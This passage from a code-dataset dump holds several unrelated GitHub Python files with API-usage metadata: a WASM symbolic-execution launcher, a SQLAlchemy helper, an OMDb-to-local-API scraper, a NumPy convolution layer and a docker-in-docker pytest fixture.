34, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.nn.LogSoftmax", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 67, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.GRU", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.autograd.Variable", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 123, "usage_type": "call"}, {"api_name": "random.random", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 146, "usage_type": "call"}, {"api_name": "time.time", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 167, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 168, "usage_type": "name"}, {"api_name": "preprocessing.prepare_sequence", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 175, "usage_type": "name"}, {"api_name": "preprocessing.prepare_sequence", "line_number": 197, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 229, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 229, "usage_type": "call"}, {"api_name": "preprocessing.most_common_words", "line_number": 235, "usage_type": "call"}, {"api_name": "preprocessing.create_word_to_ix", "line_number": 236, "usage_type": "call"}, {"api_name": "preprocessing.obtain_polyglot_embeddings", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 241, "usage_type": "call"}]}
{"seq_id": "74727364744", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport json\nimport sys\nfrom datetime import datetime\nfrom os import makedirs, path\n\nimport sh\n\nfrom seewasm.arch.wasm.configuration import Configuration\nfrom seewasm.arch.wasm.graph import Graph\nfrom seewasm.arch.wasm.visualizator import visualize\n\n\ndef launch(args):\n\n    module_bytecode = args.file.read()\n    # create the corresponding wat file\n    wat_file_path = args.file.name.replace('.wasm', '.wat')\n    if not path.exists(wat_file_path):\n        sh.Command('wasm2wat')([args.file.name, \"-o\", wat_file_path])\n        print(\n            f\"The corresponding wat file is written in: {wat_file_path}\",\n            flush=True)\n\n    # conduct symbolic execution\n    if args.symbolic:\n        Configuration.set_verbose_flag(args.verbose)\n        Configuration.set_file(args.file.name)\n        Configuration.set_entry(args.entry)\n        Configuration.set_visualize(args.visualize)\n        Configuration.set_source_type(args.source_type)\n        Configuration.set_stdin(args.stdin, args.sym_stdin)\n        Configuration.set_sym_files(args.sym_files)\n        Configuration.set_incremental_solving(args.incremental)\n        Configuration.set_elem_index_to_func(wat_file_path)\n\n        command_file_name = f\"./log/result/{Configuration.get_file_name()}_{Configuration.get_start_time()}/command.json\"\n        makedirs(path.dirname(command_file_name), exist_ok=True)\n        with open(command_file_name, 'w') as fp:\n            json.dump({\"Command\": \" \".join(sys.argv)}, fp, indent=4)\n\n        # --args and --sym_args can exist simultaneously\n        # their order are fixed, i.e., --args is in front of --sym_args\n        # the file_name is always the argv[0]\n        Configuration.set_args(\n            Configuration.get_file_name(),\n            args.args, args.sym_args)\n\n        # import necessary part\n        from seewasm.arch.wasm.emulator import WasmSSAEmulatorEngine\n\n        wasmVM = WasmSSAEmulatorEngine(module_bytecode)\n        # run the emulator for SSA\n        Graph.wasmVM = wasmVM\n        Graph.initialize()\n        # draw the ICFG on basic block level, and exit\n        if Configuration.get_visualize():\n            # draw here\n            visualize(Graph)\n\n            print(f\"The visualization of ICFG is done.\")\n            return\n\n        graph = Graph()\n        graph.traverse()\n    else:\n        parser.print_help()\n\n\n", "repo_name": "PKU-ASAL/WASEM", "sub_path": "launch.py", "file_name": "launch.py", "file_ext": "py", "file_size_in_byte": 2401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "name"}, {"api_name": "sh.Command", "line_number": 23, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_verbose_flag", "line_number": 30, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 30, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_file", "line_number": 31, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 31, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_entry", "line_number": 32, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 32, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_visualize", "line_number": 33, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 33, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_source_type", "line_number": 34, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 34, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_stdin", "line_number": 35, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 35, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_sym_files", "line_number": 36, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 36, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_incremental_solving", "line_number": 37, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 37, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_elem_index_to_func", "line_number": 38, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 38, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.get_file_name", "line_number": 40, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 40, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.get_start_time", "line_number": 40, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "name"}, {"api_name": "json.dump", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 43, "usage_type": "attribute"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.set_args", "line_number": 48, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 48, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.get_file_name", "line_number": 49, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 49, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.emulator.WasmSSAEmulatorEngine", "line_number": 55, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.graph.Graph.wasmVM", "line_number": 57, "usage_type": "attribute"}, {"api_name": "seewasm.arch.wasm.graph.Graph", "line_number": 57, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.graph.Graph.initialize", "line_number": 58, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.graph.Graph", "line_number": 58, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration.get_visualize", "line_number": 60, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.configuration.Configuration", "line_number": 60, "usage_type": "name"}, {"api_name": "seewasm.arch.wasm.visualizator.visualize", "line_number": 62, "usage_type": "call"}, {"api_name": "seewasm.arch.wasm.graph.Graph", "line_number": 62, "usage_type": "argument"}, {"api_name": "seewasm.arch.wasm.graph.Graph", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "30884118229", "text": "from requests import Session\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy import create_engine,select,MetaData,Table\nfrom sqlalchemy.ext.declarative import declarative_base\nimport dto_weather\n\nbase=declarative_base()\n\ndef db_init():\n    dbpath='example.db'\n    engine=create_engine('sqlite:///%s' % dbpath)\n    # metadata=MetaData(engine)\n    Session=sessionmaker(bind=engine)\n    weather=dto_weather.Weather()\n    session=Session()\n    weather.__table__.create(bind=engine,checkfirst=True)\n    # base.metadata.create_all(engine)\n    return session\n\n\n\ndef insert(session,table,datas):\n    for data in datas:\n        city,start_time,end_time,avg_temp=data\n        new_weather=table(city=city,start_time=start_time,end_time=end_time,avg_temp=avg_temp)\n        session.add(new_weather)\n\ndef select(session,table):\n    return session.query(table)", "repo_name": "shih-chia-yang/tdd-practice", "sub_path": "python/python-practice/src/html/weather_context.py", "file_name": "weather_context.py", "file_ext": "py", "file_size_in_byte": 853, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 13, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 13, "usage_type": "call"}, {"api_name": "dto_weather.Weather", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "71413799946", "text": "from datetime import datetime\nimport omdb\nimport requests\nimport os\n\n\ndef _resume_text(text: str, length: int) -> str:\n    \"\"\"\n    Resumes {text} to {length} to the latest period between first char and {length}# char window.\n    @type text: str\n    @type length: int\n    @rtype: str\n    @param text: a string representing the text to be resumed\n    @param length: an integer representing the text length\n    @return: a string representing the resumed text\n    \"\"\"\n    return text[:text[:length - 1].rfind(\".\") + 1] if len(text) >= length else text\n\n\ndef _text_to_str_datetime(text: str, datetime_format: str, string_format: str) -> [str, None]:\n    \"\"\"\n    Converts a datetime string into another datetime string. Returns None on fail.\n    @type text: str\n    @type datetime_format: str\n    @type string_format: str\n    @rtype: str or None\n    @param text: a string representing the datetime string to be converted\n    @param datetime_format: a string representing the input datetime string\n    @param string_format: a string representing the output datetime string\n    @return: a string representing the converted datetime or None\n    \"\"\"\n    try:\n        return datetime.strptime(text, datetime_format).strftime(string_format)\n    except ValueError:\n        return None\n\n\ndef _text_to_float(text: str) -> [float, None]:\n    \"\"\"\n    Converts {text} into float. Returns None on fail.\n    @type text: str\n    @rtype: float or None\n    @param text: a string representing the text to be converted\n    @return: a float representing the converted text or None\n    \"\"\"\n    try:\n        return float(text)\n    except ValueError:\n        return None\n\n\ndef _text_to_integer(text: str) -> [int, None]:\n    \"\"\"\n    Converts {text} into integer. Returns None on fail.\n    @type text: str\n    @rtype: int or None\n    @param text: a string representing the text to be converted\n    @return: an integer representing the converted text or None\n    \"\"\"\n    try:\n        return int(text)\n    except ValueError:\n        return None\n\n\ndef main():\n    str_titles = os.environ.get(\"TITLES\", 'Game of Thrones, Peaky Blinders, Skins')\n    api_load_balancer_name = os.environ.get(\"API_LOAD_BALANCER_NAME\", \"localhost:8000\")\n    api_key = os.environ.get(\"API_KEY\", 'fc9ab012')\n    client = omdb.Api(apikey=api_key)\n    api_titles = [e[\"title\"] for e in requests.get(f\"http://{api_load_balancer_name}/titles/\").json()]\n    titles = [e.strip() for e in str_titles.split(\",\")]\n    titles_missing = sorted(set(titles) - set(api_titles))\n    titles_exceeding = sorted(set(api_titles) - set(titles))\n\n    for title_missing in titles_missing:\n        client_title = client.search(title=title_missing).json()\n        client_title_exists = client_title[\"Response\"] == \"True\"\n\n        print(f\"Adding {title_missing}!\")\n        if client_title_exists:\n            client_title_imdb_id = client_title[\"imdbID\"]\n            client_title_number_of_seasons = int(client_title[\"totalSeasons\"])\n            client_title_genres = [e.strip() for e in client_title[\"Genre\"].split(\",\")]\n            client_title_languages = [e.strip() for e in client_title[\"Language\"].split(\",\")]\n            client_title_plot = _resume_text(text=client_title[\"Plot\"], length=256)\n            client_title_imdb_rating = _text_to_float(client_title[\"imdbRating\"])\n            client_title_released = _text_to_str_datetime(client_title[\"Released\"], \"%d %b %Y\", '%Y-%m-%d')\n            title_data = {\n                \"imdb_id\": client_title_imdb_id,\n                \"title\": client_title[\"Title\"],\n                \"plot\": client_title_plot,\n                \"poster\": client_title[\"Poster\"],\n                \"imdb_rating\": client_title_imdb_rating,\n                \"released\": client_title_released,\n            }\n            response = requests.post(f\"http://{api_load_balancer_name}/titles/\", data=title_data)\n\n            if not response.ok:\n                print(\"ERROR\", client_title_imdb_id, response.json())\n\n            if not response.ok:\n                print(\"ERROR\", client_title_imdb_id, response.json())\n            for client_title_genre in client_title_genres:\n                genre_data = {\n                    \"name\": client_title_genre,\n                    \"genre_owner_title\": client_title_imdb_id,\n                }\n                response = requests.post(f\"http://{api_load_balancer_name}/genres/\", data=genre_data)\n\n                if not response.ok:\n                    print(\"ERROR\", client_title_genre, response.json())\n            for client_title_language in client_title_languages:\n                language_data = {\n                    \"name\": client_title_language,\n                    \"language_owner_title\": client_title_imdb_id,\n                }\n                response = requests.post(f\"http://{api_load_balancer_name}/languages/\", data=language_data)\n\n                if not response.ok:\n                    print(\"ERROR\", client_title_language, response.json())\n            for season_number in range(1, client_title_number_of_seasons + 1):\n                client_season = client.search(title=title_missing, season=season_number).json()\n                client_season_episodes = client_season[\"Episodes\"]\n                season_data = {\n                    \"season_number\": season_number,\n                    \"season_owner_title\": client_title_imdb_id,\n                }\n                response = requests.post(f\"http://{api_load_balancer_name}/seasons/\", data=season_data)\n\n                if not response.ok:\n                    print(\"ERROR\", season_number, response.json())\n                else:\n                    api_season = response.json()\n\n                    for client_season_episode in client_season_episodes:\n                        client_season_episode_imdb_id = client_season_episode[\"imdbID\"]\n                        client_season_episode = client.search(imdb_id=client_season_episode_imdb_id).json()\n                        client_season_episode_plot = _resume_text(text=client_season_episode[\"Plot\"], length=256)\n                        client_season_episode_rating = _text_to_float(client_season_episode[\"imdbRating\"])\n                        client_season_episode_released = _text_to_str_datetime(client_season_episode[\"Released\"],\n                                                                               '%d %b %Y',\n                                                                               '%Y-%m-%d')\n                        episode_data = {\n                            \"imdb_id\": client_season_episode_imdb_id,\n                            \"episode_owner_title\": client_title_imdb_id,\n                            \"title\": client_season_episode[\"Title\"],\n                            \"episode_number\": client_season_episode[\"Episode\"],\n                            \"runtime\": _text_to_integer(client_season_episode[\"Runtime\"].split()[0]),\n                            \"plot\": client_season_episode_plot,\n                            \"poster\": client_season_episode[\"Poster\"],\n                            \"imdb_rating\": client_season_episode_rating,\n                            \"episode_owner_season\": api_season[\"id\"],\n                            \"released\": client_season_episode_released,\n                        }\n                        response = requests.post(f\"http://{api_load_balancer_name}/episodes/\", data=episode_data)\n\n                        if not response.ok:\n                            print(\"ERROR\", client_season_episode_imdb_id, response.json())\n        else:\n            print(f\"{title_missing} does not exist on client! Aborting add!\")\n\n    for title_exceeding in titles_exceeding:\n        response = requests.get(f\"http://{api_load_balancer_name}/titles/title/{title_exceeding}\")\n\n        print(f\"Removing {title_exceeding}!\")\n        if not response.ok:\n            print(\"ERROR\", title_exceeding, response.json())\n        else:\n            api_title = response.json()\n            api_title_imdb_id = api_title[\"imdb_id\"]\n\n            requests.delete(f\"http://{api_load_balancer_name}/titles/{api_title_imdb_id}\")\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "BrunoLanconi/desafioBold", "sub_path": "services/gather_episodes.py", "file_name": "gather_episodes.py", "file_ext": "py", "file_size_in_byte": 8082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 67, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 68, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 69, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 69, "usage_type": "attribute"}, {"api_name": "omdb.Api", "line_number": 70, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 97, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 109, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 118, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 129, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 156, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 164, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 173, "usage_type": "call"}]}
{"seq_id": "40591970365", "text": "from copy import deepcopy\r\nimport sys\r\nfrom Layers.Base import BaseLayer\r\nfrom scipy.signal import correlate, convolve\r\nimport numpy as np\r\n\r\n\r\nclass Conv(BaseLayer):\r\n    def __init__(self, stride_shape, convolution_shape, num_kernels):\r\n        super().__init__(trainable=True)\r\n        self.stride_shape = stride_shape\r\n        self.convolution_shape = convolution_shape\r\n        self.num_kernels = num_kernels\r\n\r\n        self.Dim1D = False\r\n        if len(convolution_shape) == 2:\r\n            self.convolution_shape += (1,)\r\n            self.stride_shape += (1,)\r\n            self.Dim1D = True\r\n\r\n        elif len(convolution_shape) == 3:\r\n            if len(stride_shape) == 1:\r\n                self.stride_shape = (stride_shape, stride_shape)\r\n\r\n        else:\r\n            raise ValueError(\"Please verify Dimensions! There may be a Problem.\")\r\n        self.weights = np.random.uniform(size=(self.num_kernels,) + self.convolution_shape)\r\n        self.bias = np.random.rand(self.num_kernels)\r\n\r\n        self.gradient_weights = None\r\n        self.gradient_bias = None\r\n\r\n        self._optimizers = None\r\n\r\n        self.input_size = None\r\n        self.inpsize_padd = None\r\n        self.input_tensor = None\r\n        self.is_padded = None\r\n\r\n        self.os_new = None\r\n\r\n        self.padd = None\r\n        self.list_padded = None\r\n\r\n    def forward(self, input_tensor):\r\n        self.input_size = input_tensor.shape\r\n        self.input_tensor = input_tensor\r\n        if self.Dim1D:  # 1D\r\n            self.input_size += (1,)\r\n            self.input_tensor = input_tensor[:, :, :, np.newaxis]\r\n        self.os_new = (self.input_size[0], self.num_kernels,\r\n                                       self.input_size[2], self.input_size[3])\r\n        self.padd = (self.convolution_shape[1] - 1, self.convolution_shape[2] - 1)\r\n        self.list_padded = [(0, 0), (0, 0),\r\n                             (np.ceil(self.padd[0] / 2).astype(int), np.floor(self.padd[0] / 2).astype(int)),\r\n                             (np.ceil(self.padd[1] / 2).astype(int), np.floor(self.padd[1] / 2).astype(int))]\r\n\r\n        self.is_padded = np.pad(self.input_tensor, self.list_padded, mode=\"constant\", constant_values=0)\r\n        self.inpsize_padd = self.is_padded.shape\r\n\r\n        without_stride = np.zeros(self.os_new)\r\n        for b in range(self.os_new[0]):\r\n            for k in range(self.num_kernels):\r\n                without_stride[b, k, :, :] = correlate(self.is_padded[b, :, :, :],\r\n                                                      self.weights[k, :, :, :], mode='valid') + self.bias[k]\r\n\r\n        final = without_stride[:, :, ::self.stride_shape[0], ::self.stride_shape[1]]\r\n\r\n        if self.Dim1D: final = final[:, :, :, 0]\r\n\r\n        return final\r\n\r\n    def backward(self, error_tensor):\r\n        if self.Dim1D: error_tensor = error_tensor[:, :, :, np.newaxis]\r\n        grad_inp = np.zeros(self.input_size)\r\n        self.gradient_weights = np.zeros_like(self.weights)\r\n        self.gradient_bias = np.zeros_like(self.bias)\r\n        errs = np.zeros(self.os_new)\r\n        errs[:, :, ::self.stride_shape[0], ::self.stride_shape[1]] = error_tensor\r\n        errs_with_padd = np.pad(errs, self.list_padded, mode=\"constant\", constant_values=0)\r\n        final_shape_kernel = (self.convolution_shape[0], self.num_kernels,\r\n                         self.convolution_shape[1], self.convolution_shape[2])\r\n\r\n        final_w = np.zeros(final_shape_kernel)\r\n\r\n        for c in range(self.convolution_shape[0]):\r\n            for k in range(self.num_kernels):\r\n\r\n                final_w[c, k, :, :] = self.weights[k, c, :, :]\r\n\r\n\r\n            for b in range(self.input_size[0]):\r\n\r\n                final_flip = np.flipud(final_w[c, :, :, :])\r\n                grad_inp[b, c, :, :] = convolve(errs_with_padd[b, :, :, :], final_flip, mode=\"valid\")\r\n\r\n\r\n        self.gradient_bias = np.sum(error_tensor, axis=(0, 2, 3))\r\n\r\n\r\n        for b in range(self.input_size[0]):\r\n            for c in range(self.input_size[1]):\r\n                for k in range(self.num_kernels):\r\n\r\n                    self.gradient_weights[k, c, :, :] += correlate(self.is_padded[b, c, :, :],\r\n                                                                   errs[b, k, :, :], mode=\"valid\")\r\n\r\n\r\n        if self._optimizers is not None:\r\n            self.weights = self._optimizers[0].calculate_update(self.weights, self.gradient_weights)\r\n            self.bias = self._optimizers[1].calculate_update(self.bias, self.gradient_bias)\r\n\r\n        if self.Dim1D: grad_inp = grad_inp[:, :, :, 0]\r\n\r\n        return grad_inp\r\n\r\n    def initialize(self, weights_initializer, bias_initializer):\r\n        fan_in = np.prod(list(self.convolution_shape))\r\n        fan_out = np.prod([self.num_kernels] + list(self.convolution_shape[1:]))\r\n        self.weights = weights_initializer.initialize(self.weights.shape, fan_in, fan_out)\r\n        self.bias = bias_initializer.initialize(self.bias.shape, 1, fan_out)\r\n\r\n    @property\r\n    def optimizer(self):\r\n        return self._optimizers\r\n\r\n    @optimizer.setter\r\n    def optimizer(self, optimizer):\r\n        self._optimizers = [optimizer, deepcopy(optimizer)]\r\n\r\n    @optimizer.getter\r\n    def optimizer(self):\r\n        return self._optimizers\r\n", "repo_name": "samarthkhajuria001/DeepLearning", "sub_path": "Conv.py", "file_name": "Conv.py", "file_ext": "py", "file_size_in_byte": 5226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "Layers.Base.BaseLayer", "line_number": 8, "usage_type": "name"}, {"api_name": "numpy.random.uniform", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.ceil", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 61, "usage_type": "call"}, {"api_name": "scipy.signal.correlate", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.pad", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 94, "usage_type": "call"}, {"api_name": "scipy.signal.convolve", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 98, "usage_type": "call"}, {"api_name": "scipy.signal.correlate", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 119, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 129, "usage_type": "call"}]}
{"seq_id": "8272413833", "text": "import pytest\nimport requests\nimport time\n\nfrom src.impl import docker\nfrom src.impl.service import Service\nfrom src.mkctl import stage\nfrom src.global_conf import GlobalConf\n\n\nDIND_PORT = 12345\nDOCKER_PORT = 2375\n\n\n@pytest.yield_fixture\ndef sandbox_client():\n    \"\"\" Tests run against docker-in-docker(DIND) to not pollute\n    the local docker process with orphaned containers.\n    \"\"\"\n    \n    localclient = docker.Client()\n    sha = localclient.run(\n        'docker:dind',\n        bind_ports=[\n            (DIND_PORT, DOCKER_PORT),\n            (GlobalConf.stage_port, GlobalConf.stage_port)\n        ],\n        privileged=True,\n    )\n    \n    try:\n        localclient.wait_for(sha)\n        yield docker.Client('localhost', DIND_PORT)\n    finally:\n        localclient.stop(sha)\n        localclient.rm(sha)\n\n\ndef test_run_in_sandbox(sandbox_client):\n    \"\"\" Simple docker in docker test \"\"\"\n    assert len(sandbox_client.ps(list_all=True).split('\\n')) == 1  # header line\n\n    sha = sandbox_client.run('hello-world')  # any small container should do\n    assert len(sandbox_client.ps(list_all=True).split('\\n')) == 2\n\n    sandbox_client.stop(sha)\n    sandbox_client.rm(sha)\n    assert len(sandbox_client.ps(list_all=True).split('\\n')) == 1\n\n\n@pytest.fixture\ndef http_service():\n    return Service('test_http', 'testing/services/http_server/service_conf.yaml')\n\n\ndef test_stage(sandbox_client, http_service):\n    stage(sandbox_client, http_service)\n\n    sandbox_client.wait_for(None)\n    assert requests.get(\n        'http://localhost:{port}/'.format(port=GlobalConf.stage_port),\n    ).status_code == 200\n", "repo_name": "mattiskan/mkctl", "sub_path": "tests/integration/integration_test.py", "file_name": "integration_test.py", "file_ext": "py", "file_size_in_byte": 1603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "src.impl.docker.Client", "line_number": 21, "usage_type": "call"}, {"api_name": "src.impl.docker", "line_number": 21, "usage_type": "name"}, {"api_name": "src.global_conf.GlobalConf.stage_port", "line_number": 26, "usage_type": "attribute"}, {"api_name": "src.global_conf.GlobalConf", "line_number": 26, "usage_type": "name"}, {"api_name": "src.impl.docker.Client", "line_number": 33, "usage_type": "call"}, {"api_name": "src.impl.docker", "line_number": 33, "usage_type": "name"}, {"api_name": "pytest.yield_fixture", "line_number": 15, "usage_type": "attribute"}, {"api_name": "src.impl.service.Service", "line_number": 53, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 51, "usage_type": "attribute"}, {"api_name": "src.mkctl.stage", "line_number": 57, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 60, "usage_type": "call"}, {"api_name": 